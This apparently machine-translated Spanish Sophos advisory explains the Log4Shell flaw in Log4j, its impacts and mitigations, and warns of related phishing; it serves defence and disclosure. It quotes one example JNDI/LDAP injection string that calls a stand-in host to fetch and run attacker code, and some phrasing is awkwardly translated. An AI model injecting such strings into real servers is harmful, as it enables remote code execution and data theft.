Vulnerabilidad de Java Log4j - Log4Shell - Qué sucedió y qué hacer ahora. Después de Hafnium, Kaseya o Solarwinds, las empresas una vez más tienen que lidiar urgentemente con una vulnerabilidad de servidor de alto perfil llamada Log4j - Log4Shell. Sophos aclara los hechos más importantes y le dice qué hacer.
El nombre Log4Shell se refiere al hecho de que la falla que se está explotando está contenida en una popular biblioteca de código Java llamada Log4j (Logging for Java), y que si los atacantes explotan con éxito la vulnerabilidad, obtienen efectivamente un shell: la oportunidad de ejecutar cualquier código del sistema. de tu elección.
“El punto clave del ataque Log4Shell es que el servidor ejecuta automáticamente el código. Cualquier cosa que un atacante quiera hacerle a un servidor con la vulnerabilidad, puede hacerlo. Por lo tanto, es extremadamente importante parchear lo antes posible, porque muchas personas que no traman nada bueno ya están tratando de probar qué servidores aún son vulnerables".
Paul Ducklin, experto en seguridad informática de Sophos
Y como si ese comando no fuera suficiente, la vulnerabilidad se tuiteó como una vulnerabilidad de día cero, que es una falla de seguridad que se documentará antes de que haya un parche disponible. Además, la prueba de concepto (PoC) se publicó en GitHub y el problema se dio a conocer en todo el mundo mientras aún no estaba parcheado. Las campanas de alarma suenan con fuerza en todo el mundo desde el viernes y también en Alemania, por ejemplo el BSI declaró el nivel de alerta roja.
Validación de entrada incorrecta
La vulnerabilidad, ahora conocida oficialmente como CVE-2021-44228, se originó cuando se envió una solicitud inofensiva a un servidor vulnerable, que incluía algunos datos, como un encabezado HTTP, que los ciberdelincuentes esperan (o incluso saben) que el servidor los escribe. su archivo de registro. Los datos inyectados de esta manera forman una "trampa explosiva" oculta porque, mientras el servidor convierte los datos a un formato adecuado para el registro, inicia una descarga web como parte integral de la creación de la entrada de registro requerida. Y esta acción es difícil, porque si los datos que regresan son un programa Java válido (un archivo .class, en la jerga), entonces el servidor ejecuta ese archivo para ayudarlo a generar los datos de registro.
La biblioteca Log4j sin parches permite requisitos de registro
El truco es que las versiones sin parches de la biblioteca Log4j permiten que las solicitudes de registro de forma predeterminada activen búsquedas generales de LDAP (servicios de directorio), así como otras búsquedas en línea. Esta "característica" existe para ayudar a convertir datos no muy útiles, por ejemplo, ID de usuario como OZZJ5JYPVK, en información legible por humanos que tenga sentido en su red, como Peter Miller. Estas solicitudes se realizan a través de un conjunto de herramientas de Java de uso común llamado JNDI, abreviatura de Java Naming and Directory Interface.
Este enfoque es viable siempre que los datos registrados que pueden desencadenar la ejecución del código del lado del servidor estén restringidos a los servidores de directorio en su propia red. Sin embargo, muchos servidores no están configurados en consecuencia, por lo que los "logsploiters" maliciosos podrían intentar incrustar texto como {$jndi:ldap://dodgy.example:389/badcode} en los datos que esperan que las empresas registren y sirvan automáticamente.
- Use JNDI para enviar una solicitud LDAP al puerto especificado (389 en nuestro ejemplo) en el servidor externo no confiable especificado.
- obtener el contenido no confiable en el código incorrecto de la ubicación.
- ejecute el código proporcionado por el atacante para obtener "ayuda" con el registro.
En pocas palabras, esta práctica se conoce en la jerga técnica como ejecución remota de código no autenticado (RCE). Sin iniciar sesión ni requerir una contraseña o token de acceso, los ciberdelincuentes podrían usar una solicitud aparentemente inofensiva para engañar a los servidores para que informen, descarguen su código y, por lo tanto, se infecten con su malware. Dependiendo de los derechos de acceso que tenga un servidor a la red interna, dicho RCE puede ayudar a los ciberdelincuentes a realizar una variedad de tareas maliciosas.
Y eso es exactamente lo que hace que el punto de ajedrez actual Log4Shell sea tan peligroso. En teoría, los atacantes pueden drenar datos del propio servidor; Averigüe detalles sobre la red interna, cambie los datos en el servidor; extraer datos de otros servidores de la red; configure puertas traseras adicionales en el servidor o la red para futuros ataques o instale malware adicional, como intrusos en la red, raspadores de memoria, ladrones de datos y criptomineros.
¡Qué hacer ahora!
El licenciante Apache ha publicado un aviso de seguridad práctico sobre este tema. Sophos también resume las cosas más importantes nuevamente:
- Actualice a Apache Log4j 2.15.0. Si está utilizando Log4j, parece que cualquier versión 2.x de 2.14.1 y anterior es vulnerable de forma predeterminada. (Si todavía usa Log4j 1.x, también es obligatoria una actualización, ya que ya no se proporciona con actualizaciones).
- Bloqueo de la posibilidad de que JNDI realice solicitudes a servidores no confiables. Si no puede actualizar pero está usando Log4j 2.10.0 o posterior, puede establecer el valor de configuración de log4j2.formatMsgNoLookups en true , lo que evitará el LDAP saliente y búsquedas similares en primer lugar.
- Comprobación del tiempo de ejecución de Java utilizado. La compilación de Java subyacente que está utilizando puede evitar que se produzca este error en función de su propia configuración predeterminada. Por ejemplo, Apache enumera explícitamente Oracle Java 8u121 como protección contra este RCE.
¿La vulnerabilidad también afecta a los usuarios privados?
Log4Shell no solo significa alerta roja para las empresas, sino que los usuarios particulares también pueden verse afectados por los efectos del gap. Esto es especialmente cierto cuando las personas usan servidores en la nube operados por una empresa de alojamiento u otro proveedor de servicios administrados, ya sea un blog, un foro o un sitio web familiar. Lo primero que debe hacer aquí es averiguar si estos servicios son vulnerables y cuándo se planean los parches. Por el momento, ciertamente tiene más sentido buscar información en los sitios web relevantes, ya que lo más probable es que los proveedores estén inundados de correos electrónicos en este momento.
Preste atención a los mensajes de los proveedores de servicios
Además, se debe prestar atención a las advertencias de seguridad oficiales de los servicios en línea que se utilizan en el buzón... ¡pero aquí también es importante tener cuidado! Si los usuarios reciben mensajes sobre la vulnerabilidad de seguridad actual, posiblemente aún de un proveedor de servicios destacado, no deben hacer clic automáticamente en los enlaces proporcionados en la alerta ni marcar números de teléfono sin un examen crítico. Los ataques cibernéticos expertos en medios, como Log4Shell, provocan rápidamente a los usuarios gratuitos que quieren usar el miedo de los usuarios para sus ataques de phishing. En caso de duda, los usuarios deben encontrar su propia forma de obtener información utilizando URL, direcciones de correo electrónico o números de teléfono que hayan usado antes.
Más en Sophos.com
Acerca de Sophos Sophos cuenta con la confianza de más de 100 millones de usuarios en 150 países. Ofrecemos la mejor protección contra amenazas informáticas complejas y pérdida de datos. Nuestras soluciones integrales de seguridad son fáciles de implementar, usar y administrar. Ofrecen el costo total de propiedad más bajo de la industria. Sophos ofrece soluciones de cifrado galardonadas, soluciones de seguridad para terminales, redes, dispositivos móviles, correo electrónico y web. También cuenta con el soporte de SophosLabs, nuestra red global de centros de análisis patentados. Las oficinas centrales de Sophos se encuentran en Boston, EE. UU. y Oxford, Reino Unido.